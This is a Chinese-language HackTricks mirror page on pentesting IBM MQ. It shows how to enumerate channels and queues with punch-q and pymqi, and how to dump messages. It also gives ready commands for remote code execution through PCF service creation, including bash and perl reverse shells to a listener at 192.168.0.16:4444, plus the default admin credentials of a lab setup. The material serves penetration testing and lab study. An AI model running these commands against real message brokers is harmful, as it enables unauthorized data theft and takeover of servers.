mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
343 lines
18 KiB
Markdown
343 lines
18 KiB
Markdown
# 1414 - Pentesting IBM MQ
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)。
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)。
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) **或**[**电报群**](https://t.me/peass) **或在Twitter上关注**我🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
## 基本信息
|
||
|
||
IBM MQ是IBM的一项技术,用于管理消息队列。与其他**消息代理**技术一样,它专门用于在生产者和消费者之间接收、存储、处理和分类信息。
|
||
|
||
默认情况下,**它会暴露IBM MQ TCP端口1414**。
|
||
有时,HTTP REST API也可以在端口**9443**上暴露。
|
||
指标(Prometheus)也可以通过TCP端口**9157**访问。
|
||
|
||
IBM MQ TCP端口1414可用于操纵消息、队列、通道等,**也可用于控制实例**。
|
||
|
||
IBM提供了大量的技术文档,可在[https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)上找到。
|
||
|
||
## 工具
|
||
|
||
一个建议的用于简单利用的工具是**[punch-q](https://github.com/sensepost/punch-q)**,使用Docker。该工具积极使用Python库`pymqi`。
|
||
|
||
对于更手动的方法,使用Python库**[pymqi](https://github.com/dsuch/pymqi)**。需要[IBM MQ依赖项](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA)。
|
||
|
||
### 安装pymqi
|
||
|
||
需要安装和加载**IBM MQ依赖项**:
|
||
|
||
1. 在[https://login.ibm.com/](https://login.ibm.com/)上创建一个帐户(IBMid)。
|
||
2. 从[https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA)下载IBM MQ库。对于Linux x86_64,使用**9.0.0.4-IBM-MQC-LinuxX64.tar.gz**。
|
||
3. 解压缩(`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`)。
|
||
4. 运行`sudo ./mqlicense.sh`接受许可条款。
|
||
|
||
>如果您使用Kali Linux,请修改文件`mqlicense.sh`:删除/注释以下行(在105-110行之间):
|
||
>
|
||
>```bash
|
||
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||
> then
|
||
> echo "ERROR: This package is incompatible with this system"
|
||
> echo " This package was built for ${BUILD_PLATFORM}"
|
||
> exit 1
|
||
>fi
|
||
>```
|
||
|
||
5. 安装这些软件包:
|
||
```bash
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
|
||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
|
||
```
|
||
6. 然后,临时将`.so`文件添加到LD中:`export LD_LIBRARY_PATH=/opt/mqm/lib64`,**在**运行其他使用这些依赖项的工具之前。
|
||
|
||
然后,您可以克隆项目[pymqi](https://github.com/dsuch/pymqi):它包含有趣的代码片段、常量,... 或者您可以直接安装该库:`pip install pymqi`。
|
||
|
||
### 使用punch-q
|
||
|
||
#### 使用Docker
|
||
|
||
只需运行:`sudo docker run --rm -ti leonjza/punch-q`。
|
||
|
||
#### 不使用Docker
|
||
|
||
克隆项目[punch-q](https://github.com/sensepost/punch-q),然后按照自述文件进行安装(`pip install -r requirements.txt && python3 setup.py install`)。
|
||
|
||
安装完成后,可以使用`punch-q`命令。
|
||
|
||
## 枚举
|
||
|
||
您可以尝试使用**punch-q**或**pymqi**来枚举**队列管理器名称、用户、通道和队列**。
|
||
|
||
### 队列管理器
|
||
|
||
有时,获取队列管理器名称时没有任何保护措施:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
|
||
Queue Manager name: MYQUEUEMGR
|
||
```
|
||
### 通道
|
||
|
||
**punch-q** 使用内部(可修改的)单词列表来查找现有通道。使用示例:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
|
||
"DEV.ADMIN.SVRCONN" exists and was authorised.
|
||
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
|
||
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
|
||
```
|
||
一些 IBM MQ 实例接受**未经身份验证**的 MQ 请求,因此不需要 `--username / --password`。当然,访问权限也可能有所不同。
|
||
|
||
一旦我们获得一个通道名称(这里是:`DEV.ADMIN.SVRCONN`),我们就可以枚举所有其他通道。
|
||
|
||
基本上可以使用 **pymqi** 中的这段代码片段 `code/examples/dis_channels.py` 来进行枚举:
|
||
```python
|
||
import logging
|
||
import pymqi
|
||
|
||
logging.basicConfig(level=logging.INFO)
|
||
|
||
queue_manager = 'MYQUEUEMGR'
|
||
channel = 'DEV.ADMIN.SVRCONN'
|
||
host = '172.17.0.2'
|
||
port = '1414'
|
||
conn_info = '%s(%s)' % (host, port)
|
||
user = 'admin'
|
||
password = 'passw0rd'
|
||
|
||
prefix = '*'
|
||
|
||
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
|
||
|
||
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
pcf = pymqi.PCFExecute(qmgr)
|
||
|
||
try:
|
||
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
|
||
except pymqi.MQMIError as e:
|
||
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
|
||
logging.info('No channels matched prefix `%s`' % prefix)
|
||
else:
|
||
raise
|
||
else:
|
||
for channel_info in response:
|
||
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
|
||
logging.info('Found channel `%s`' % channel_name)
|
||
|
||
qmgr.disconnect()
|
||
|
||
```
|
||
...但**punch-q**也嵌入了该部分(附带更多信息!)。
|
||
可以使用以下方式启动:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||
Showing channels with prefix: "*"...
|
||
|
||
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|
||
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
|
||
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
|
||
| DEV.APP.SVRCONN | Server-connection | app | | | | |
|
||
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
|
||
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
|
||
| SYSTEM.DEF.AMQP | AMQP | | | | | |
|
||
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
|
||
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
|
||
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
|
||
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
|
||
| SYSTEM.DEF.SENDER | Sender | | | | | |
|
||
| SYSTEM.DEF.SERVER | Server | | | | | |
|
||
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
|
||
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
|
||
```
|
||
### 队列
|
||
|
||
有一个使用 **pymqi** 的代码片段 (`dis_queues.py`),但 **punch-q** 允许检索有关队列的更多信息:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
|
||
Showing queues with prefix: "*"...
|
||
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
|
||
| | | | | | GR Name | eue Nam | |
|
||
| | | | | | | e | |
|
||
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
|
||
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | E | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
|
||
| 0 18.35.1 | | | | | | | |
|
||
| 9 | | | | | | | |
|
||
# Truncated
|
||
```
|
||
## 漏洞利用
|
||
|
||
### 转储消息
|
||
|
||
您可以针对队列/通道进行定位,以便从中嗅探/转储消息(非破坏性操作)。*示例:*
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
|
||
```
|
||
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
|
||
```
|
||
**不要犹豫,对所有识别的队列进行迭代。**
|
||
|
||
### 代码执行
|
||
|
||
> 在继续之前,有一些细节:IBM MQ可以通过多种方式进行控制:MQSC、PCF、控制命令。一些常见列表可以在[IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison)中找到。
|
||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats)(***可编程命令格式***)是我们专注于与实例远程交互的内容。**punch-q**和**pymqi**都基于PCF交互。
|
||
>
|
||
> 您可以找到PCF命令列表:
|
||
> * [来自PCF文档](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats),以及
|
||
> * [来自常量](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes)。
|
||
>
|
||
> 一个有趣的命令是`MQCMD_CREATE_SERVICE`,其文档可在[此处](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)找到。它以`StartCommand`作为参数,指向实例上的本地程序(例如:`/bin/sh`)。
|
||
>
|
||
> 文档中还对该命令进行了警告:“注意:此命令允许用户以mqm权限运行任意命令。如果授予使用此命令的权限,恶意或粗心的用户可能定义一个损坏您系统或数据的服务,例如通过删除必要文件。”
|
||
>
|
||
> *注意:始终根据IBM MQ文档(管理参考)的说法,还有一个HTTP端点位于`/admin/action/qmgr/{qmgrName}/mqsc`,用于运行相应的MQSC命令以创建服务(`DEFINE SERVICE`)。这方面目前尚未在此处涵盖。*
|
||
|
||
使用**punch-q**可以通过PCF进行远程程序执行的服务创建/删除:
|
||
|
||
**示例1**
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
|
||
```
|
||
> 在 IBM MQ 的日志中,您可以看到命令已成功执行:
|
||
>
|
||
> ```bash
|
||
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
|
||
> ```
|
||
|
||
您还可以枚举机器上现有的程序(这里 `/bin/doesnotexist` ... 不存在):
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
|
||
s "whatever"
|
||
Command: /bin/doesnotexist
|
||
Arguments: -c id
|
||
Service Name: 6e3ef5af652b4436
|
||
|
||
Creating service...
|
||
Starting service...
|
||
The program '/bin/doesnotexist' is not available on the remote system.
|
||
Giving the service 0 second(s) to live...
|
||
Cleaning up service...
|
||
Done
|
||
```
|
||
**请注意,程序启动是异步的。因此,您需要第二个项目来利用漏洞** ***(反向shell的监听器,不同服务上的文件创建,通过网络进行数据外泄...)***
|
||
|
||
**示例2**
|
||
|
||
为了简单地获取反向shell,**punch-q** 还提供了两种反向shell有效载荷:
|
||
|
||
- 一个使用bash
|
||
- 一个使用perl
|
||
|
||
*当然,您也可以使用 `execute` 命令构建自定义的有效载荷。*
|
||
|
||
对于bash:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||
```
|
||
对于perl:
|
||
```bash
|
||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||
```
|
||
### 自定义 PCF
|
||
|
||
您可以深入研究 IBM MQ 文档,并直接使用 **pymqi** Python 库来测试 **punch-q** 中未实现的特定 PCF 命令。
|
||
|
||
**示例:**
|
||
```python
|
||
import pymqi
|
||
|
||
queue_manager = 'MYQUEUEMGR'
|
||
channel = 'DEV.ADMIN.SVRCONN'
|
||
host = '172.17.0.2'
|
||
port = '1414'
|
||
conn_info = '%s(%s)' % (host, port)
|
||
user = 'admin'
|
||
password = 'passw0rd'
|
||
|
||
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
pcf = pymqi.PCFExecute(qmgr)
|
||
|
||
try:
|
||
# Replace here with your custom PCF args and command
|
||
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
|
||
args = {pymqi.CMQCFC.xxxxx: "value"}
|
||
response = pcf.MQCMD_CUSTOM_COMMAND(args)
|
||
except pymqi.MQMIError as e:
|
||
print("Error")
|
||
else:
|
||
# Process response
|
||
|
||
qmgr.disconnect()
|
||
|
||
```
|
||
如果找不到常量名称,可以参考[IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)。
|
||
|
||
> *例如[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)(十进制 = 73)的示例。它需要参数`MQCA_CLUSTER_NAME`(十进制 = 2029),可以是`*`(文档:):*
|
||
>
|
||
> ```python
|
||
> import pymqi
|
||
>
|
||
> queue_manager = 'MYQUEUEMGR'
|
||
> channel = 'DEV.ADMIN.SVRCONN'
|
||
> host = '172.17.0.2'
|
||
> port = '1414'
|
||
> conn_info = '%s(%s)' % (host, port)
|
||
> user = 'admin'
|
||
> password = 'passw0rd'
|
||
>
|
||
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
|
||
> pcf = pymqi.PCFExecute(qmgr)
|
||
>
|
||
> try:
|
||
> args = {2029: "*"}
|
||
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
|
||
> except pymqi.MQMIError as e:
|
||
> print("Error")
|
||
> else:
|
||
> print(response)
|
||
>
|
||
> qmgr.disconnect()
|
||
> ```
|
||
|
||
## 测试环境
|
||
|
||
如果要测试IBM MQ的行为和漏洞,可以基于Docker设置本地环境:
|
||
|
||
1. 在ibm.com和cloud.ibm.com上拥有账户。
|
||
2. 使用以下步骤创建一个容器化的IBM MQ:
|
||
```bash
|
||
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||
```
|
||
默认情况下,身份验证已启用,用户名为 `admin`,密码为 `passw0rd`(环境变量 `MQ_ADMIN_PASSWORD`)。
|
||
在这里,队列管理器名称已设置为 `MYQUEUEMGR`(变量 `MQ_QMGR_NAME`)。
|
||
|
||
您应该已经启动并运行IBM MQ,并暴露了其端口:
|
||
```bash
|
||
❯ sudo docker ps
|
||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
|
||
```
|
||
> IBM MQ的旧版本Docker镜像位于: https://hub.docker.com/r/ibmcom/mq/.
|
||
|
||
## 参考资料
|
||
|
||
* [mgeeky的要点 - "实用IBM MQ渗透测试笔记"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||
* [IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq)
|